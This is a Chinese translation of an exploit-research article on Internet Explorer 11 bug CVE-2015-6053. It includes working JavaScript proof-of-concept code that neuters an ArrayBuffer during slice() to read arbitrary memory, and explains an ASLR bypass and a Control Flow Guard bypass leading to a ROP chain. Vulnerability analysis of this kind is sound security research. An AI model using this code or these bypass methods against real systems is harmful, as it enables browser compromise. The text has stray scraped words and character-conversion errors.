小叮噹 · 2016/06/20 10:47javascript
這是「Exploiting Internet Explorer’s MS15-106」系列文章的第二部分,若是您沒有閱讀過第一部分,我建議您開始閱讀本篇以前去閱讀前置文章html
系列的前一篇文章提到過,2015年的8月13日,微軟放出了更新補丁security bulletin MS15-106,裏面包含了有關Internet Explorer的多個漏洞。以前,咱們已經解釋了怎樣攻擊VBScript引擎裏面Filter函數中存在的類型混淆漏洞,以及怎樣利用這個漏洞劫持IE代碼執行流程。不論怎樣,咱們都須要繞過ASLR保護才能在有漏洞的瀏覽器中執行任意代碼,用前一個漏洞過掉ASLR是很困難的。那麼,咱們來看下怎樣攻擊另外一個一樣披露於MS15-106中的漏洞,以及怎樣過掉地址隨機化。咱們如今即將討論的是ZDI於advisory ZDI-15-518描述的漏洞:JScript ArrayBuffer.slice Information Disclosure Vulnerability (CVE-2015-6053)。html5
引用ZDI的描述:java
The specific flaw exists within the implementation of the ArrayBuffer.slice method. By supplying specially crafted parameters, an attacker can read the contents of arbitrary memory locations. An attacker can use this information in conjunction with other vulnerabilities to execute code in the context of the process.web
比對的樣本是 jscript9.dll 5.8.9600.18036(漏洞版本)和 jscript9.dll 5.8.9600.18052(修復版本),和上一篇文章中同樣,測試平臺是64位windows8.1和IE11。windows
ZDI說明中提到問題出如今JavaScript的ArrayBuffer.slice方法中,經過比對兩個不一樣版本的DLL文件,能夠肯定函數Js::ArrayBuffer::EntrySlice()被補丁過了。api
MSDN中有關 ArrayBuffer.slice 的描述爲:數組
這個函數流程大體預覽對好比下:瀏覽器
進入函數Js::ArrayBuffer::EntrySlice()詳細看,注意紅色方框裏面的代碼:bash
右邊紅色方框裏面,增長了Js::ArrayBuffer::EntrySlice()函數檢查:補丁後的版本檢查了ArrayBuffer結構體偏移0x10字節的內容,若是這裏不是0的話,就拋出TypeError異常。
But...ArrayBuffer結構體偏移0x10字節的成員是什麼?
觀察下Js::ArrayBuffer類,在初始化的時候偏移0x10的位置被設置成0,而後函數Js::ArrayBuffer::CreateNeuteredState()將偏移0x10這裏的數值設置成它的參數:
(譯者:CreateNeuteredState()這個函數名字裏面的Neutered是閹割、絕育的意思)
如此,這個偏移0x10字段的內容標誌着ArrayBuffer是否被結紮,也就是說,若是在一個結紮過的ArrayBuffe裏調用slice()方法的話,就會拋出TypeError異常。
瞭解了補丁的意義以後,我馬上想到這個bug和以前Pwn2Own2014上攻擊FireFox的方法有些相似:
bugzilla.mozilla.org/show_bug.cg…
那麼,到底什麼纔是結紮ArrayBuffer?
就像這裏描述的,"當一個ArrayBuffer對象被傳遞給另外一個線程的時候,原線程裏的ArrayBuffer對象就會被結紮——原對象的長度字段被置0;其成員所在的內存被分離;所屬關係被交給了目的線程;目的線程會建立一個新的ArrayBuffer對象,這個對象包含了傳遞過來的原對象的成員所在的內存,這樣,原對象的成員內容並不須要被複制。"
換句話說,當一個ArrayBuffer對象被結紮,它的長度變成0,對象裏指向成員內存的指針被置成NULL。想要結紮一個ArrayBuffer對象,可經過把他從Web Worker中傳遞出去。
下一個問題是:怎樣才能把ArrayBuffer從Web Worker中傳遞出去?
引述www.html5rocks.com/en/tutorial…:
Transferable objects in postMessage make passing binary data to other windows and Web Workers a great deal faster. When you send an object to a Worker as a Transferable, the object becomes inaccessible in the sending thread and the receiving Worker gets ownership of the object. This allows for a highly optimized implementation where the sent data is not copied, just the ownership of the Typed Array is transferred to the receiver. To use Transferable objects with Web Workers, you need to use the webkitPostMessage method on the worker.The webkitPostMessage method works just like postMessage, but it takes two arguments instead of just one.The added second argument is an array of objects you wish to transfer to the worker.
worker.webkitPostMessage(oneGBTypedArray, [oneGBTypedArray]);
到目前,咱們可知,建立一個ArrayBuffer對象,而後經過postMessage()傳遞給Web Worker,這樣的話,這個ArrayBuffer就被結紮了(長度變成0,數據指針被置null)。
但,漏洞在哪?IE作了和FireFox相同的事情,當運行ArrayBuffer.slice()方法的時候,代碼邏輯去保存ArrayBuffer中當前有效的byteLength:
當ArrayBuffer.slice()方法的參數不是原始類型,就會調用當前傳遞進來的對象的成員函數valueOf()。這個過程發生在Js::ArrayBuffer::GetIndexFromVar()函數內部。
攻擊的思路,在FireFox Pwn2Own裏解釋過,就是利用這樣一個原理:原生代碼會調用攻擊者構造的JS代碼(攻擊者控制的對象裏面的valueOf()函數),以此來實如今Js::ArrayBuffer::EntrySlice()函數內部(錯誤地)結紮ArrayBuffer對象。就是說,咱們就構造了一個先後矛盾的狀況——正常的byteLength值在函數一開始的時候被保存,而通過兩次Js::ArrayBuffer::GetIndexFromVar()調用,對象卻又被結紮。
順便提下,這是有關攻擊ECMAScript引擎重定義的另外一個例子,Natalie Silvanovich在Black Hat 2015 presentation的議題。
(譯者:原文這裏說得不是很明白,其實就是經過重定義valueOf()函數,強迫對象被Neutered,指針清零,致使後面的start_argument被當作讀取地址,造成任意地址讀的漏洞)
ArrayBuffer在Js::ArrayBuffer::EntrySlice()函數裏被意外地結紮後,這個函數試着去建立一個被結紮的ArrayBuffer對象的副本:
函數memcpy()的參數具體以下:
問題出如今src參數上,因爲ArrayBuffer被結紮,src參數應該計算成ptr_to_raw_data + start_argument = 0 + start_argument,這致使在調用memcpy(new_arraybuffer, arbitrary_src, arbitrary_size)的時候,咱們能夠泄露瀏覽器進程的任意地址內存。
同時要注意,start_argument和end_argument會被和原來的ArrayBuffer裏的byteLength對比檢查,也就是說,要泄露任意地址X的內容,被攻擊者操縱的ArrayBuffer的byteLength數值必須必X大。好比,想要在地址0x1a1b2000處讀取4bytes內容的話,必須這樣作:
#!cpp
var address = 0x1a1b2000;
/* Size of the ArrayBuffer must be greater than the 'start' and 'end' arguments for slice() */
var arrbuf = new ArrayBuffer(address + 0x10);
/* The 'Trigger' object implements the valueOf() method, which neuters arrbuf in the middle of the slice() operation, and finally returns the end offset (address+4). */
var trigger = new Trigger(address + 4, arrbuf);
/* Trigger the vulnerability. Note that the 2nd argument isn't a primitive value but an object. slice() will return a new ArrayBuffer object containing a copy of the 4 bytes stored @ address 0x1a1b2000 */
var kslice = arrbuf.slice(address, trigger);
/* Finally, create a DataView on the new ArrayBuffer object and read a dword from it. Bingo! */
var leaked_dword= new DataView(kslice).getUint32(0, true);
複製代碼
咱們來看POC,這是index.html的代碼:
#!html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>MS15-106 PoC (CVE-2015-6053)</title>
<script type="text/javascript" src="exploit.js"></script>
</head>
<body>
<h1>MS15-106 PoC (CVE-2015-6053)</h1>
<div>
<div>
<fieldset>
<button id="workersButton">Transfer/neuter ArrayBuffer</button>
<div id="outputBoxWorkers"></div>
</fieldset>
</div>
</div>
</body>
</html>
複製代碼
而後是exploit.js的部分,包含了攻擊的邏輯。當點擊「Transfer/neuter ArrayBuffer」按鈕的時候,leak_dword(0xffff)函數被調用。leak_dword()函數接受一個內存地址做爲參數,而後利用這個漏洞在這個地址讀取4bytes內容。這裏讀取0xffff地址的內容,出發了一個訪問異常,來作爲演示。
最有趣的部分是Trigger類的代碼,它的構造函數接受對象的end_offset做爲一個ArrayBuffer的實例當作參數。這個類也實現了valueOf()函數,其被原生函數Js::ArrayBuffer::EntrySlice()調用到的時候,即把ArrayBuffer的從屬關係交給一個新的Web Worker,從而實現結紮ArrayBuffer,最後返回對象的end_offset。
一樣注意下leak_dword()把一個Trigger類的實例當作第二個參數調用漏洞函數slice()。
#!js
(function () {
var the_worker = null; // Will contain a reference to a Web Worker "thread".
function initialize() {
document.getElementById('workersButton').addEventListener('click', handle_workersButton, false);
}
document.addEventListener("DOMContentLoaded", initialize, false);
function Trigger(end_offset, arrbuf){
this.end_offset = end_offset;
this.arrbuf = arrbuf;
}
/* This method gets called from the middle of the Js::ArrayBuffer::EntrySlice() native function */
Trigger.prototype.valueOf = function() {
this.neuter_arraybuffer();
return this.end_offset;
}
Trigger.prototype.neuter_arraybuffer = function() {
if (the_worker) {
the_worker.terminate();
the_worker = null; // Allow the garbage collector to clean up the Web Worker object.
}
the_worker = new Worker('the_worker.js');
the_worker.onmessage = function(evt) {
if (evt.data.msg){
document.getElementById('outputBoxWorkers').innerHTML = evt.data.msg;
}
}
/* Neuter the ArrayBuffer by transferring its ownership to a new Web Worker */
the_worker.postMessage(this.arrbuf, [this.arrbuf]);
}
/* Returns a 32-bit integer with the leaked dword value */
function leak_dword(address){
var arrbuf = new ArrayBuffer(address + 0x10);
var trigger = new Trigger(address + 4, arrbuf);
var kslice = arrbuf.slice(address, trigger);
return new DataView(kslice).getUint32(0, true);
}
function handle_workersButton(){
var trampoline_addr = leak_dword(0xffff);
}
})();
複製代碼
最後是假的Web Worker代碼(the_worker.js):
#!js
self.onmessage = function(evt) {
var arrbuf = evt.data;
}
複製代碼
若是你用調試器附加瀏覽器後運行這個POC,會獲得Crash,崩潰在memcpy(),從地址0xffff非法讀取:
#!bash
(84c.8ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for msvcrt.dll -
msvcrt!memcpy+0x52:
7785b3f2 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:0000ffff=????????
複製代碼
正如您所見,上面的poc會致使IE崩潰在讀取未分頁地址0xffff。若是要寫完整的exploit的話,就須要泄露一些已知的有用的地址內容。因爲IE即便在64位windows上也會默認運行32位的版本,採用古師傅的數組噴射技術——ExpLib2來在指定位置放置任意對象,這放置ArrayBuffer對象在堆中的特定位置,而後利用內存泄露漏洞讀取它的vtable(jscript9!Js::JavascriptArrayBuffer::`vftable')地址。這個方法能夠得到jscript9.dll模塊的基址,從而過掉ASLR。
這個基址被傳遞給了exploit的第二部分(VBScript的Filter函數的類型混淆漏洞,致使任意代碼執行,在上一篇中討論過)。
這裏有趣的一點是,內存泄露漏洞隻影響IE11,由於漏洞函數ArrayBuffer.slice()在低版本IE中並不支持。因此利用這個漏洞必需要IE11的文檔模式,同時,VBScript又在IE11中再也不支持,因此利用VBSript漏洞的時候又要切換到IE10的文檔模式。
到此,咱們已經繞過了ASLR,而且有了獲取EIP控制權的第二個漏洞,但還有最後一個防禦要繞過:Control Flow Guard
有關CFG已經討論過不少次,調用函數以前會用ntdll!LdrpValidateUserCallTarget函數驗證。
編譯器會在每個調用以前都放置一個CFG驗證函數,我去年討論過CFG繞過技術——利用Adobe Flash的JIT編譯中沒有被CFG保護的函數。
因此此次,我問本身:可否在一個指定的二進制文件中找到沒有被VS C++編譯器CFG保護的函數?
你必定不想人工肉身作這件事,我寫了一個IDAPython腳本,來橫跨瀏覽整個二進制文件,尋找沒有被CFG保護的函數調用和跳轉存在的函數,同時這些函數又被CFG認爲是合法的,最後將符合條件的函數保存成一個列表。
你已可猜到,假設咱們能夠從一個被CFG保護的函數裏跳轉到任意地址,那就從這個被保護的函數裏面,控制跳轉地址,跳到咱們想要的地址,繞過CFG。
腳本跑出的結果再通過人工刪選,最終的最優解以下:
看下Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()函數的代碼,它調用(標記爲紅色的jmp eax)函數Js::DynamicProfileInfo::EnsureDynamicProfileInfo()返回的指針,而沒有通過CFG檢查,這就是咱們想要的狀況。
可是函數Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()並未被標記爲CFG合法的函數,它前面的函數sub_10162CE0卻被標記爲合法的CFG函數,並且這個函數很是簡單,只有一條人畜無害的指令MOV EAX, EAX,意思是順延到下一個函數:Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),呵呵噠,條件達成!
更完美的是,Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函數接受的參數(IDA裏顯示,應該是一個Js::ScriptFunction對象的指針)正好能夠被咱們徹底控制。這裏截取一小段上一篇文章的代碼,VBScript裏面的漏洞VAR::ObjGetDefault + 0x6b處,一個徹底由咱們控制的值被壓棧,而後調用CFG保護的函數:
也就是說,咱們能夠提供一個假的Js::ScriptFunction對象指針給函數Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),經過精心構造(古師傅的噴射代碼是你忠實的小夥伴)一個假的指針鏈交給Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),這個函數會返回一個咱們控制的指針,交給後面的jmp eax跳轉。
觸發VBScript的類型混淆函數以後,CFG保護的CALL [ESI]指令會調用jscript!sub_10162CE0,這個函數是CFG合法的,而後這個函數順延執行到Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),咱們能夠徹底控制這個函數裏面調用的Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函數的參數,精心構造的指針鏈讓這個函數返回咱們ROP鏈的地址,而後這個ROP就被沒有CFG保護的jmp eax調用。就是這樣啦,繞過了CFG。
咱們和微軟MSRC的人郵件討論過關於這種繞過CFG的方法,他們說這種方法以前由騰訊玄武的人率先在Chakra JS引擎上提出。
騰訊的人用的是Js::JavascriptFunction::DeferredParsingThunk()函數繞過CFG,而咱們用的是Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk();騰訊用的方法是覆蓋合法的Js::ScriptFunction對象裏面的函數指針,而咱們採用了古師傅的堆噴射方法;第三點不一樣是咱們經過VBScript模塊跳轉到未受保護的jmp eax,而玄武實驗室是經過JS引擎跳過去的。
不過這都無所謂啦,Chakra.dll已經被補丁過,因此這種CFG繞過方法在Edge瀏覽器上不再能用啦。